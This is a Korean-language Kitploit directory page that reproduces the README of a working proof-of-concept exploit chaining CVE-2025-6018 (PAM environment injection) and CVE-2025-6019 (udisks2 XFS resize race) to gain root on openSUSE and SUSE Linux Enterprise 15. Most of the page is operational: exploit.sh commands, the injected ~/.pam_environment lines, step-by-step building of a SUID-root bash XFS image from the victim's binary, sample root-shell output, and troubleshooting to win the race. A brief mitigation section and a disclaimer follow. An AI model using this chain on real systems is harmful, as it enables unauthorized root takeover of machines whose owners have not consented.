Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6018-6019 — CVE-2025-6018 CVE-2025-6019 PoC 익스플로잇 - openSUSE/SUSE Linux Enterprise 15의 로컬 권한 상승 - PAM 우회 + udisks2 XFS 레이스 컨디션 LPE로 root 권한 획득 | Kitploit
도구/GitHubGitHub/desertdemons/cve-2025-6018-6019
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHubdesertdemons/cve-2025-6018-6019

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC 익스플로잇 - openSUSE/SUSE Linux Enterprise 15의 로컬 권한 상승 - PAM 우회 + udisks2 XFS 레이스 컨디션 LPE로 root 권한 획득

저장소 보기
4125개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-6018 CVE-2025-6019 PoC 익스플로잇

로컬 권한 상승 (LPE) - openSUSE / SUSE Linux Enterprise 15

CVE-2025-6018 CVE-2025-6019 PoC Exploit License

CVE-2025-6018 및 CVE-2025-6019에 대한 동작하는 PoC/익스플로잇 - openSUSE Leap 15.x 및 SUSE Linux Enterprise 15.x에서 비특권 사용자에서 root로의 권한 상승

🎯 빠른 요약

CVE ID취약점영향
CVE-2025-6018PAM 환경 변수 주입allow_active polkit 상태 우회
CVE-2025-6019udisks2/libblockdev XFS 리사이즈 경쟁 조건Root 셸

공격 체인

root@kitploit:~
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 PoC 데모

root@kitploit:~
# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 설치

root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 영향받는 시스템

  • ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  • ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  • ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ 참고: openSUSE Leap 15.6은 2026년 4월 30일에 지원 종료(EOL)됩니다. 이후에는 보안 패치가 제공되지 않습니다. 사용자는 Leap 16.0 또는 확장 지원이 포함된 SLES로 마이그레이션해야 합니다.

취약한 구성 요소

  • PAM (Linux-PAM 1.3.0 - 1.6.0) (user_readenv=1 설정)
  • udisks2 2.9.x (libblockdev 포함)
  • polkit (udisks2 작업에 대해 allow_active: yes)

📖 사용법

옵션 1: 취약점 확인

root@kitploit:~
./exploit.sh --check

옵션 2: PAM 우회 설정 (CVE-2025-6018)

root@kitploit:~
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

옵션 3: 익스플로잇 (CVE-2025-6019)

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

옵션 4: 전체 자동 모드

root@kitploit:~
./exploit.sh --auto /tmp/xfs.img

옵션 5: 이미지 생성 지침 표시

root@kitploit:~
./exploit.sh --create-image

🛠️ XFS 페이로드 이미지 생성

공격자 머신에서 root로 실행:

⚠️ 반드시 피해자의 /usr/bin/bash 바이너리를 사용해야 합니다, 로컬 바이너리가 아닙니다. 다른 배포판(Kali, Arch, Ubuntu 등)의 bash 바이너리는 동일한 x86_64 아키텍처라도 glibc/공유 라이브러리 ABI 불일치로 인해 대상에서 실패합니다.

헬퍼 스크립트 사용 (권장)

이 스크립트는 xfsprogs 버전을 자동 감지하여 올바른 플래그를 적용합니다:

root@kitploit:~
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

수동 생성

root@kitploit:~
sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

XFS 포맷 호환성

XFS 이미지는 대상 커널과 호환되는 플래그로 포맷되어야 합니다. 최신 버전의 xfsprogs는 기본적으로 최신 온디스크 기능을 활성화하는데, 이전 SUSE 커널은 이를 읽을 수 없어 udisks2 리사이즈 마운트 중 wrong fs type, bad superblock 오류가 발생합니다.

대상커널mkfs.xfs 명령
SUSE 15 SP5-SP65.14 / 6.4mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP44.12 - 5.3mkfs.xfs -f -m crc=0,reflink=0 xfs.img

이유? exchange와 parent는 커널 6.10+ 기능입니다(xfsprogs 6.x에서 기본 활성화). bigtime, inobtcount, nrext64는 커널 5.10+ 기능입니다. SP1-SP4 "compat" 명령(-m crc=0,reflink=0)은 모든 최신 기능이 비활성화된 V4 XFS 포맷을 생성하며, 모든 SUSE 15 SP에서 동작합니다.

🔬 기술적 세부 사항

CVE-2025-6018: PAM 환경 변수 주입

취약점: PAM의 pam_env 모듈이 user_readenv=1(SUSE 기본값)과 함께 ~/.pam_environment를 읽어 환경 변수 주입을 허용합니다.

익스플로잇: XDG_SEAT=seat0 및 XDG_VTNR=1을 설정해 systemd-logind가 allow_active polkit 권한을 부여하도록 속입니다.

root@kitploit:~
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: XFS 리사이즈 경쟁 조건

취약점: udisks2를 통해 XFS 파일시스템을 리사이즈할 때 libblockdev가 파일시스템을 임시로 nosuid 플래그 없이 마운트합니다.

익스플로잇:

  1. SUID root 바이너리가 포함된 XFS 이미지 생성
  2. 루프 디바이스 설정
  3. D-Bus를 통해 리사이즈 트리거
  4. 임시 마운트 중 SUID 바이너리 실행을 위한 경쟁(레이스) 수행
  5. root 셸 획득

📋 전체 익스플로잇 워크스루

1단계: 취약점 확인

root@kitploit:~
./exploit.sh --check

출력:

root@kitploit:~
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

2단계: PAM 우회 설정

root@kitploit:~
./exploit.sh --setup
exit
ssh user@target
su - $USER

3단계: allow_active 확인

root@kitploit:~
./exploit.sh --check

출력:

root@kitploit:~
[+] allow_active status: YES
    You have allow_active privileges!

4단계: XFS 이미지 전송

root@kitploit:~
# On attacker:
scp xfs.img user@target:/tmp/

5단계: 익스플로잇

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

출력:

root@kitploit:~
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 문제 해결

🛡️ 완화 조치

즉시 수정

root@kitploit:~
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"

공급업체 패치

  • PAM, udisks2 및 libblockdev 패키지 업데이트
  • SUSE 보안 권고 확인

📚 참고 자료

  • Qualys 보안 권고
  • Qualys 기술 분석 문서
  • SUSE CVE-2025-6018
  • SUSE CVE-2025-6019
  • NVD CVE-2025-6018
  • NVD CVE-2025-6019

🏆 크레딧

  • Qualys Threat Research Unit - 최초 취약점 발견
  • DesertDemons - PoC 익스플로잇 개발
  • Jazzruran - xfsprogs 버전 불일치 버그 리포트 및 수정 (#1)

⚠️ 면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

📄 라이선스

MIT License


🔍 키워드

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev


⭐ 도움이 되었다면 이 저장소에 스타를 눌러주세요! ⭐

도구 다운로드
문제원인해결 방법
allow_active: NOPAM 우회가 활성화되지 않음--setup 실행, SSH 종료, 재연결, su - $USER 실행
Image is not XFS잘못된 파일시스템 포맷mkfs.ext4가 아닌 mkfs.xfs 사용
SUID not working권한이 설정되지 않음공격자 머신에서 -rwsr-xr-x 권한 확인
Race condition missed타이밍 문제익스플로잇 다시 실행 (보통 1-3회 시도 내에 성공)
SUID 바이너리 세그폴트 또는 GLIBC_x.xx not found잘못된 배포판의 bash 바이너리 (glibc/ABI 불일치)로컬 bash가 아닌 scp로 가져온 피해자의 /usr/bin/bash 바이너리 사용
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other errorXFS 이미지가 대상 커널이 읽을 수 없는 기능으로 포맷됨 (xfsprogs 버전 불일치)SP5/SP6의 경우 mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img, SP1-SP4의 경우 mkfs.xfs -f -m crc=0,reflink=0 xfs.img로 이미지 생성
XFS
Race Condition
Security
Vulnerability
Pentest